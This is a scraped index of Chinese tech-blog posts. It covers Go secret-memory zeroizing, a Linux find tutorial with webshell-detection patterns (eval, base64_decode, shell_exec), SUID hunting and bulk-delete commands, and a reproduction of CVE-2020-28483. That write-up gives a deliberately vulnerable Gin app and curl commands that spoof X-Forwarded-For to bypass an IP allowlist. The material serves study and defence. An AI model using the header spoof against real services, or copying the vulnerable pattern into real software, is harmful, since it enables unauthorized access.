\u0026#34;Super_Secret_RSA_Private_Key_XYZ\u0026#34;) fmt.Printf(\u0026#34;[+] 密钥已加载，物理内存地址: %p\\n\u0026#34;, secretKey) // ========================================== // ... 业务逻辑处理 (签名、加密等) ... // ========================================== // 4. 手动物理清零 (Zeroize) // 此时 RAM 中的电容电荷被物理排空，即使是冷启动攻击也无法恢复 wipeMemory(secretKey) fmt.Println(\u0026#34;[+] 内存已手动 Zeroize (全 0 覆写，物理放电完成)。\u0026#34;) // 5. 解除内存锁定 (Munlock) // 允许 OS 重新接管这块已经清空的废弃内存 if err == nil { _ = syscall.Munlock(secretKey) fmt.Println(\u0026#34;[+] Munlock 成功：内存控制权交还 OS。\u0026#34;) } // 6. 销毁指针，安全移交 GC // 此时底层数组已全 0，即使触发 UAF 漏洞也只能读到 0x00 secretKey = nil fmt.Println(\u0026#34;[*] 引用已销毁，生命周期结束。数据已从物理维度彻底湮灭。\u0026#34;) } ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:6:1","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#完整跨平台防御代码-secure-memory-allocation"},{"categories":["ops"],"collections":null,"content":"参考 封面 ","date":"2026-03-11","objectID":"/posts/2026/go-slice-memory-leak/:7:0","tags":[],"title":"Go-面试错题-Slice内存泄漏","uri":"/posts/2026/go-slice-memory-leak/#参考"},{"categories":["ops"],"collections":null,"content":"寻找所有文件！","date":"2026-03-10","objectID":"/posts/2026/linux-find/","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/"},{"categories":["ops"],"collections":null,"content":"寻找所有文件！ ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:0:0","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#"},{"categories":["ops"],"collections":null,"content":"Linux命令-find ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:0:0","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#linux命令-find"},{"categories":["ops"],"collections":null,"content":"0x00 TL;DR (太长不看版)：一分钟速通 TEXT +-------------------------------------------------------------+ | find 核心语法公式：在哪找？ -\u0026gt; 找什么？ -\u0026gt; 找到后干嘛？ | +-------------------------------------------------------------+ find \u0026lt;PATH\u0026gt; \u0026lt;CONDITIONS\u0026gt; \u0026lt;ACTIONS\u0026gt; | | | | v v v v 命令 . (当前目录) -name \u0026#34;*.log\u0026#34; -delete (直接删除) / (根目录) -size +1G -exec ls -l {} + (执行命令) /var/log -mtime -7 -print (默认打印) 高频操作 找文件 (按名字/后缀) # 忽略大小写，找当前目录及子目录包含 config 的文件 find . -iname \u0026#34;*config*\u0026#34; # 找所有的 .py 和 .go 代码文件 find . -type f \\( -name \u0026#34;*.py\u0026#34; -o -name \u0026#34;*.go\u0026#34; \\) 查容量 (排查磁盘打满) # 全局查找大于 500MB 的文件，并屏蔽权限报错 (2\u0026gt;/dev/null) find / -type f -size +500M 2\u0026gt;/dev/null 查时间 (排查被黑/最近改动) # 查找 /etc 下最近 24 小时内被修改过的文件 find /etc -type f -mtime -1 批量操作 (自动化运维/清理) # 清理 30 天前的旧日志文件 (极速模式) find /var/log -name \u0026#34;*.log\u0026#34; -mtime +30 -delete # 批量修复 Web 目录权限 (目录 755，文件 644) find /var/www/html -type d -exec chmod 755 {} + find /var/www/html -type f -exec chmod 644 {} + ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:1:0","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#0x00-tldr-太长不看版一分钟速通"},{"categories":["ops"],"collections":null,"content":"核心避坑口诀 找文件必须加 -type f，否则目录也会匹配上。 通配符必须加双引号（如 \u0026quot;*log\u0026quot;），防止被 Shell 提前解析。 批量执行命令时，结尾用 + 比用 \\; 性能高百倍（类似 xargs 机制）。 ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:1:1","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#核心避坑口诀"},{"categories":["ops"],"collections":null,"content":"0x01 抄起就用：高频过滤参数速查表 ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:2:0","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#0x01-抄起就用高频过滤参数速查表"},{"categories":["ops"],"collections":null,"content":"1. 按类型与名称 (Type \u0026amp; Name) 参数 含义 示例 / 备注 -type f 仅查找普通文件 (File) find . -type f (最常用，过滤掉目录) -type d 仅查找目录 (Dir) find . -type d -type l 仅查找软链接 (Link) find . -type l -name 按文件名精确/通配匹配 -name \u0026ldquo;*.conf\u0026rdquo; (严格区分大小写) -iname 按文件名忽略大小写 -iname \u0026ldquo;readme.txt\u0026rdquo; (匹配 README.txt) ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:2:1","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#1--按类型与名称-type--name"},{"categories":["ops"],"collections":null,"content":"2. 按文件大小 (Size) 单位速记：c (Bytes), k (KB), M (MB), G (GB)。注意区分大小写！ 参数 含义 示例 / 备注 -size +nM 大于 n MB -size +500M (找大文件排查磁盘) -size -nK 小于 n KB -size -10k -size nG 精确等于 n GB -size 1G (极少用精确匹配) -empty 查找空文件/空目录 find . -type f -empty ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:2:2","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#2-按文件大小-size"},{"categories":["ops"],"collections":null,"content":"3. 按时间戳 (Time) 时间轴逻辑：+n = n天前 (更老)；-n = n天内 (更新)；n = 正好第n天。 参数 含义 (以天为单位) 示例 / 备注 -mtime 修改时间 (内容变更) -mtime -7 (最近7天内被修改过的文件) -atime 访问时间 (被读取过) -atime +30 (30天没被碰过的冷数据) -ctime 改变时间 (权限/属性) -ctime -1 (最近24小时内权限被改过) -mmin 分钟级修改时间 -mmin -60 (最近1小时内修改，应急排查用) ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:2:3","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#3-按时间戳-time"},{"categories":["ops"],"collections":null,"content":"4. 按权限与归属 (Permission \u0026amp; Owner) - Security Ops 常用 参数 含义 示例 / 备注 -user 属主匹配 -user www-data (找 Web 服务创建的文件) -group 属组匹配 -group docker -perm 权限精确匹配 -perm 777 (找高危全开权限文件) -perm -n 权限包含匹配 -perm -4000 (找 SUID 提权后门文件) -nouser 无主文件 (孤儿文件) 离职员工删号后遗留，黑客隐藏常用 ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:2:4","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#4-按权限与归属-permission--owner---security-ops-常用"},{"categories":["ops"],"collections":null,"content":"5. 多条件组合逻辑 (AND / OR / NOT) 默认多个参数连写就是 AND (与) 的关系。 AND (默认): find . -type f -name \u0026quot;*.log\u0026quot; (是文件 且 后缀是 .log) OR (-o): find . -type f \\( -name \u0026quot;*.jpg\u0026quot; -o -name \u0026quot;*.png\u0026quot; \\) (找 jpg 或 png，注意括号要转义 \\( ) NOT (!): find . -type f ! -name \u0026quot;*.tmp\u0026quot; (找所有文件，排除 .tmp 后缀) ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:2:5","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#5-多条件组合逻辑-and--or--not"},{"categories":["ops"],"collections":null,"content":"0x02 实战演练：批量操作 (-exec 与 -delete 自动化) 核心思维：find 的真正威力在于 “找到即执行”，实现自动化运维。 ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:3:0","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#0x02-实战演练批量操作--exec-与--delete-自动化"},{"categories":["ops"],"collections":null,"content":"场景 1：批量文件操作 痛点：手动对每个文件执行相同操作。 # 1. 批量重命名（给所有 .txt 文件添加 .bak 后缀） find . -name \u0026#34;*.txt\u0026#34; -exec mv {} {}.bak \\; # 2. 批量转换编码（GBK → UTF-8） find . -name \u0026#34;*.java\u0026#34; -exec iconv -f GBK -t UTF-8 {} -o {}.utf8 \\; # 3. 批量计算 MD5（安全审计） find /etc -type f -exec md5sum {} \\; \u0026gt; etc_files.md5 ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:3:1","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#场景-1批量文件操作"},{"categories":["ops"],"collections":null,"content":"场景 2：自动化清理 痛点：磁盘空间告警，需快速定位并清理垃圾文件。 # 1. 清理所有临时文件（安全模式：先打印，确认后删除） find /tmp -name \u0026#34;*.tmp\u0026#34; -type f -mtime +7 # 先查看 find /tmp -name \u0026#34;*.tmp\u0026#34; -type f -mtime +7 -delete # 确认后执行 # 2. 删除所有空目录（递归清理） find . -type d -empty -delete # 3. 清理 Docker 残留（容器日志/缓存） find /var/lib/docker -name \u0026#34;*.log\u0026#34; -size +100M -exec truncate -s 0 {} \\; ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:3:2","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#场景-2自动化清理"},{"categories":["ops"],"collections":null,"content":"场景 3：安全应急响应 痛点：服务器被入侵后，快速排查异常。 # 1. 查找 24 小时内新增/修改的可执行文件（提权后门） find / -type f -perm /111 -mtime -1 2\u0026gt;/dev/null | head -20 # 2. 查找 Web 目录下的 webshell（PHP/Ruby/Python） find /var/www -type f \\( -name \u0026#34;*.php\u0026#34; -o -name \u0026#34;*.rb\u0026#34; -o -name \u0026#34;*.py\u0026#34; \\) \\ -exec grep -l \u0026#34;eval\\|base64_decode\\|shell_exec\u0026#34; {} \\; 2\u0026gt;/dev/null # 3. 查找 SUID 特权文件（提权利用） find / -type f -perm -4000 -ls 2\u0026gt;/dev/null ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:3:3","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#场景-3安全应急响应"},{"categories":["ops"],"collections":null,"content":"性能优化：-exec 的两种模式 +----------------+----------------+------------------------------+ | 模式 | 语法 | 执行逻辑 | +----------------+----------------+------------------------------+ | 逐个执行 | -exec cmd {} \\;| 每找到一个文件，执行一次命令 | | 批量执行 | -exec cmd {} + | 一次性传递所有文件，执行一次 | +----------------+----------------+------------------------------+ 性能对比测试： # 创建 1000 个测试文件 for i in {1..1000}; do touch /tmp/test_$i.txt; done # 逐个执行（慢！启动 1000 次进程） time find /tmp -name \u0026#34;test_*.txt\u0026#34; -exec ls -l {} \\; # 批量执行（快！只启动 1 次进程） time find /tmp -name \u0026#34;test_*.txt\u0026#34; -exec ls -l {} + 实战选择： 需要操作结果（如 -exec mv {} {}.bak \\;）→ 用 \\; 统计/批量处理（如 -exec chmod 644 {} +）→ 用 + ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:3:4","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#性能优化-exec-的两种模式"},{"categories":["ops"],"collections":null,"content":"0x03 避坑指南：性能优化与高级技巧 ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:4:0","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#0x03-避坑指南性能优化与高级技巧"},{"categories":["ops"],"collections":null,"content":"错误 1：忘记处理权限错误 # ❌ 新手写法（满屏 Permission denied） find / -name \u0026#34;*.conf\u0026#34; # ✅ 专业写法（屏蔽所有 stderr 错误） find / -name \u0026#34;*.conf\u0026#34; 2\u0026gt;/dev/null # ✅ 运维写法（只屏蔽权限错误，保留其他错误） find / -name \u0026#34;*.conf\u0026#34; 2\u0026gt;\u0026amp;1 | grep -v \u0026#34;Permission denied\u0026#34; ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:4:1","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#错误-1忘记处理权限错误"},{"categories":["ops"],"collections":null,"content":"错误 2：递归遍历导致卡死 问题：find /proc 或 find /sys 会陷入死循环。 # ❌ 危险！可能卡死系统 find /proc -name \u0026#34;*\u0026#34; # ✅ 跳过特殊文件系统 find / -path /proc -prune -o -name \u0026#34;*.conf\u0026#34; -print # 含义：如果路径是 /proc 就剪枝（跳过），否则执行查找 # ✅ 通用模板：跳过多个目录 find / \\( -path /proc -o -path /sys -o -path /dev \\) -prune -o -name \u0026#34;*.conf\u0026#34; -print ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:4:2","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#错误-2递归遍历导致卡死"},{"categories":["ops"],"collections":null,"content":"高级技巧 1：配合 xargs 提升百倍性能 原理：xargs 可将标准输入转为命令行参数，减少进程启动次数。 # 传统 -exec（启动 1000 次 rm 进程） find . -name \u0026#34;*.tmp\u0026#34; -exec rm {} \\; # xargs 优化（1-10 次 rm 进程） find . -name \u0026#34;*.tmp\u0026#34; -print0 | xargs -0 rm -f # 带并行加速（4 进程并发删除） find . -name \u0026#34;*.tmp\u0026#34; -print0 | xargs -0 -P4 rm -f ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:4:3","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#高级技巧-1配合-xargs-提升百倍性能"},{"categories":["ops"],"collections":null,"content":"高级技巧 2：统计与报告 # 统计当前目录下各类型文件数量 find . -type f -name \u0026#34;*.*\u0026#34; | awk -F. \u0026#39;{print $NF}\u0026#39; | sort | uniq -c | sort -rn # 生成磁盘使用报告（大文件 Top10） find / -type f -size +100M 2\u0026gt;/dev/null -exec du -h {} + | sort -rh | head -10 # 查找重复文件（按 MD5） find . -type f -exec md5sum {} + | sort | uniq -Dw32 ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:4:4","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#高级技巧-2统计与报告"},{"categories":["ops"],"collections":null,"content":"终极总结：find 思维模型 路径思维：明确搜索起点（.、/、/var/log）。 过滤思维：按需组合条件（类型、名称、时间、大小、权限）。 行动思维：找到后要做什么（打印、删除、执行命令）。 性能思维：屏蔽错误、跳过目录、批量执行。 安全思维：小心 -delete，先用 -print 确认。 一句话公式： find \u0026lt;在哪找\u0026gt; \u0026lt;找什么\u0026gt; \u0026lt;找到后干嘛\u0026gt; 立刻上手：复制下方命令到终端，体验完整流程。 # 创建测试环境 mkdir -p /tmp/find_demo \u0026amp;\u0026amp; cd /tmp/find_demo touch {1..3}.txt {1..3}.log mkdir -p subdir \u0026amp;\u0026amp; touch subdir/4.txt # 练习：找出所有 .txt 文件并显示详情 find . -name \u0026#34;*.txt\u0026#34; -exec ls -lh {} \\; # 清理 cd \u0026amp;\u0026amp; rm -rf /tmp/find_demo ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:5:0","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#终极总结find-思维模型"},{"categories":["ops"],"collections":null,"content":"参考 菜鸟教程 Linux find 命令 封面 ","date":"2026-03-10","objectID":"/posts/2026/linux-find/:6:0","tags":[],"title":"Linux命令-find","uri":"/posts/2026/linux-find/#参考"},{"categories":["security"],"collections":null,"content":"gin 框架所有版本默认无条件信任 X-Forwarded-For 请求头，攻击者只需添加一个 HTTP 头即可伪造任意客户端 IP，绕过基于 IP 的访问控制、限流、审计机制。本文从漏洞复现、原理分析、源码审计到修复方案进行完整讲解。","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/"},{"categories":["security"],"collections":null,"content":"gin 框架所有版本默认无条件信任 X-Forwarded-For 请求头，攻击者只需添加一个 HTTP 头即可伪造任意客户端 IP，绕过基于 IP 的访问控制、限流、审计机制。本文从漏洞复现、原理分析、源码审计到修复方案进行完整讲解。 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:0:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#"},{"categories":["security"],"collections":null,"content":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制 gin 框架所有版本默认无条件信任 X-Forwarded-For 请求头，当 gin 直接暴露在公网时，攻击者只需在请求中添加一个 HTTP 头，即可伪造任意客户端 IP，绕过一切基于 c.ClientIP() 的访问控制、限流、审计机制。 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:0:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#漏洞复现-cve-2020-28483gin-框架-xff-伪造-ip-绕过访问控制"},{"categories":["security"],"collections":null,"content":"0x00 TL;DR 漏洞本质: 伪造 HTTP 头 → 欺骗 IP 识别 → 绕过访问控制 影响版本: gin 全版本（修复于 1.7.0） 利用难度: ★☆☆☆☆ 危害等级: CVSS 3.1 → 7.1 HIGH 前置条件: gin 直接暴露公网 + 用 ClientIP() 做安全决策 修复方案: 方案1：升级 \u0026gt;= 1.7.0 + 配置 TrustedProxies（生产推荐） 方案2：禁用 ForwardedByClientIP（完全不信任 XFF） 方案3：不依赖 ClientIP()，自行解析 TCP 地址 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:1:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#0x00-tldr"},{"categories":["security"],"collections":null,"content":"0x01 环境搭建 Step 1: 初始化项目 mkdir cve-2020-28483 cd cve-2020-28483 go mod init cve-2020-28483 Step 2: 添加依赖 go get github.com/gin-gonic/gin@v1.6.3 Step 3: 验证 go.mod cat go.mod module cve-2020-28483 go 1.25.0 require github.com/gin-gonic/gin v1.6.3 Step 4: 创建 main.go package main import ( \u0026#34;net/http\u0026#34; \u0026#34;github.com/gin-gonic/gin\u0026#34; ) func main() { r := gin.Default() r.GET(\u0026#34;/admin\u0026#34;, func(ctx *gin.Context) { clientIP := ctx.ClientIP() if clientIP == \u0026#34;127.0.0.1\u0026#34; { ctx.JSON(http.StatusOK, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;Welcome, tructed admin!\u0026#34;, \u0026#34;client_ip\u0026#34;: clientIP, \u0026#34;secret\u0026#34;: \u0026#34;FLAG{CVE-2020-28483}\u0026#34;, }) } else { ctx.JSON(http.StatusForbidden, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;Access Denied\u0026#34;, \u0026#34;client_ip\u0026#34;: clientIP, }) } }) r.GET(\u0026#34;/whoami\u0026#34;, func(ctx *gin.Context) { ctx.JSON(http.StatusOK, gin.H{ \u0026#34;your_ip\u0026#34;: ctx.ClientIP(), \u0026#34;xff\u0026#34;: ctx.GetHeader(\u0026#34;X-Forwarded-For\u0026#34;), \u0026#34;remote\u0026#34;: ctx.Request.RemoteAddr, }) }) r.Run(\u0026#34;:8080\u0026#34;) } Step 5: 启动服务 go mod tidy go run main.go [GIN-debug] GET /admin [GIN-debug] GET /whoami [GIN-debug] Listening and serving HTTP on :8080 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:2:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#0x01-环境搭建"},{"categories":["security"],"collections":null,"content":"0x02 漏洞复现 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:3:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#0x02-漏洞复现"},{"categories":["security"],"collections":null,"content":"正常请求 — 被拒绝 curl -s http://localhost:8080/admin | python3 -m json.tool 本地直连识别为 ::1（IPv6 localhost），不在白名单内，被拒绝。 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:3:1","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#正常请求--被拒绝"},{"categories":["security"],"collections":null,"content":"伪造 X-Forwarded-For — 绕过白名单 curl -s http://localhost:8080/admin \\ -H \u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34; | python3 -m json.tool 一个 HTTP 头，白名单消失。 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:3:2","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#伪造-x-forwarded-for--绕过白名单"},{"categories":["security"],"collections":null,"content":"用 /whoami 看清楚发生了什么 不带伪造头 curl -s http://localhost:8080/whoami | python3 -m json.tool 带伪造头 curl -s http://localhost:8080/whoami \\ -H \u0026#34;X-Forwarded-For: 8.8.8.8\u0026#34; | python3 -m json.tool 关键对比： remote = TCP 层真实地址 [::1]:50174（OS 保证，无法伪造） your_ip = gin 读 HTTP 头得到的 8.8.8.8（可随意伪造） ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:3:3","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#用-whoami-看清楚发生了什么"},{"categories":["security"],"collections":null,"content":"2.4 多级 IP 链伪造 curl -s http://localhost:8080/admin \\ -H \u0026#34;X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1\u0026#34; | python3 -m json.tool gin 取 XFF 的第一个值 127.0.0.1，成功伪造为白名单内的 IP。 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:3:4","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#24-多级-ip-链伪造"},{"categories":["security"],"collections":null,"content":"0x03 原理分析 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:4:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#0x03-原理分析"},{"categories":["security"],"collections":null,"content":"3.1 X-Forwarded-For 是什么？ 【正常场景 — 有代理保护】 你的浏览器 (真实IP: 1.2.3.4) | v Nginx 反向代理 | 追加: X-Forwarded-For: 1.2.3.4 v Gin 后端应用 | ctx.ClientIP() 读 XFF → 1.2.3.4 [OK] 正确 【漏洞场景 — gin 直接暴露公网】 攻击者 (真实IP: 5.6.7.8) | 自己写: X-Forwarded-For: 127.0.0.1 v Gin 后端应用 (无代理拦截) | ctx.ClientIP() 读 XFF → 127.0.0.1 [FAIL] 被骗了 XFF 是 HTTP 头，HTTP 头是攻击者自己写的，没有任何机制保证它的真实性。只有当你信任的代理帮你写这个头时，它才可信。 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:4:1","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#31-x-forwarded-for-是什么"},{"categories":["security"],"collections":null,"content":"3.2 受影响的真实场景 你的应用用 ctx.ClientIP() 做了以下任何一件事？ ┌─────────────────────────────────────────┐ │ IP 白名单 / 管理后台访问控制 │ \u0026lt;- 可被绕过 │ 基于 IP 的限流 / 防爆破 │ \u0026lt;- 可被绕过 │ 安全审计日志 / 溯源记录 │ \u0026lt;- 可被污染 │ GeoIP 地理位置限制 │ \u0026lt;- 可被绕过 │ 风控系统的 IP 信誉评分 │ \u0026lt;- 可被绕过 └─────────────────────────────────────────┘ | 全部可以用一个 HTTP 头绕过 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:4:2","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#32-受影响的真实场景"},{"categories":["security"],"collections":null,"content":"3.3 gin v1.6.3 的 ClientIP() 逻辑 来源: https://github.com/gin-gonic/gin/pull/2474/changes // [VULN] gin v1.6.3 — context.go L731-750 // Use X-forwarded-For before X-Real-Ip as nginx uses X-Real-IP with the proxy\u0026#39;s IP. func (c *Context) ClientIP() string { if c.engine.ForwardedByClientIP { // Line 733: 读取 X-Forwarded-For 头 clientIP := c.requestHeader(\u0026#34;X-Forwarded-For\u0026#34;) // Line 734: 按逗号分割，取第一个值 clientIP = strings.TrimSpace(strings.Split(clientIP, \u0026#34;,\u0026#34;)[0]) // Line 735: 如果非空，直接返回 \u0026lt;- [VULN] 零验证 if clientIP != \u0026#34;\u0026#34; { return clientIP // \u0026lt;- 攻击者写什么就返回什么 } // Line 736: fallback 到 X-Real-Ip clientIP = strings.TrimSpace(c.requestHeader(\u0026#34;X-Real-Ip\u0026#34;)) // Line 738: 同样直接返回 if clientIP != \u0026#34;\u0026#34; { return clientIP // \u0026lt;- 同样可伪造 } } // Line 743: 检查 AppEngine（Google App Engine） if c.engine.AppEngine { if addr := c.requestHeader(\u0026#34;X-Appengine-Remote-Addr\u0026#34;); addr != \u0026#34;\u0026#34; { return addr } } // Line 749: 最后才读真实 TCP 地址 if ip, _, err := net.SplitHostPort( strings.TrimSpace(c.Request.RemoteAddr)); err == nil { return ip } // Line 750: 兜底 return c.Request.RemoteAddr } 执行流程图解： 请求进来: X-Forwarded-For: 8.8.8.8 Line 732: ForwardedByClientIP == true? (默认 true) | Line 733: 读 X-Forwarded-For 头 -\u0026gt; \u0026#34;8.8.8.8\u0026#34; | Line 734: Split(\u0026#34;,\u0026#34;)[0] -\u0026gt; \u0026#34;8.8.8.8\u0026#34; | Line 735: clientIP != \u0026#34;\u0026#34; ? 是 | Line 739: return clientIP -\u0026gt; \u0026#34;8.8.8.8\u0026#34; \u0026lt;- 没有任何来源验证 | ctx.ClientIP() = \u0026#34;8.8.8.8\u0026#34; \u0026lt;- 直接返回给应用 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:4:3","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#33-gin-v163-的-clientip-逻辑"},{"categories":["security"],"collections":null,"content":"3.4 漏洞的本质 gin v1.6.3 的信任链: 应用层 HTTP 头 (XFF) \u0026lt;- Line 733 | 直接信任 \u0026lt;- [FAIL] 这是漏洞根源 | ctx.ClientIP() 返回值 \u0026lt;- Line 739 | 用于安全决策（IP 白名单、限流等） | 被绕过 正确的信任链应该是： TCP 层真实 IP (RemoteAddr) \u0026lt;- Line 749 不可伪造 | 这是代理吗？ ├─ 是可信代理 -\u0026gt; 信任 XFF 头 (Line 733) └─ 否 -\u0026gt; 忽略 XFF，用 RemoteAddr (Line 749) | ctx.ClientIP() 返回值 | 用于安全决策 | 安全 [OK] ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:4:4","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#34-漏洞的本质"},{"categories":["security"],"collections":null,"content":"0x04 源码审计 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:5:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#0x04-源码审计"},{"categories":["security"],"collections":null,"content":"完整源码流程追踪 从实际请求开始，逐行追踪源码执行： HTTP 请求 | v Gin Router 匹配路由 | v Handler 执行: ctx.ClientIP() \u0026lt;- context.go L731 | +---\u0026gt; Line 732: if c.engine.ForwardedByClientIP { | | | +---\u0026gt; Line 733: clientIP := c.requestHeader(\u0026#34;X-Forwarded-For\u0026#34;) | | | | | | 调用 requestHeader() 方法 | | v | | func (c *Context) requestHeader(key string) string { | | return c.Request.Header.Get(key) | | } | | | | | +---\u0026gt; 返回 HTTP 头值（攻击者控制） | | | +---\u0026gt; Line 734: strings.Split(clientIP, \u0026#34;,\u0026#34;)[0] | | | | | | 按逗号分割，取第一个值 | | | \u0026#34;127.0.0.1, 10.0.0.1\u0026#34; -\u0026gt; \u0026#34;127.0.0.1\u0026#34; | | | +---\u0026gt; Line 735: if clientIP != \u0026#34;\u0026#34; { | | | | | +---\u0026gt; Line 739: return clientIP \u0026lt;- [VULN] | | | +---\u0026gt; (如果 XFF 为空，继续) | | | +---\u0026gt; Line 736: clientIP := c.requestHeader(\u0026#34;X-Real-Ip\u0026#34;) | | | +---\u0026gt; Line 738: if clientIP != \u0026#34;\u0026#34; { | | +---\u0026gt; Line 739: return clientIP \u0026lt;- [VULN] | +---\u0026gt; Line 743: if c.engine.AppEngine { | | | +---\u0026gt; Line 744: if addr := c.requestHeader(\u0026#34;X-Appengine-Remote-Addr\u0026#34;); addr != \u0026#34;\u0026#34; { | | +---\u0026gt; Line 745: return addr \u0026lt;- [VULN] | +---\u0026gt; Line 749: if ip, _, err := net.SplitHostPort( | | strings.TrimSpace(c.Request.RemoteAddr)); err == nil { | | | | | | 解析 TCP RemoteAddr | | | \u0026#34;[::1]:51052\u0026#34; -\u0026gt; \u0026#34;::1\u0026#34; | | | | | +---\u0026gt; Line 750: return ip \u0026lt;- [OK] 真实 IP | +---\u0026gt; Line 752: return c.Request.RemoteAddr \u0026lt;- 兜底 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:5:1","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 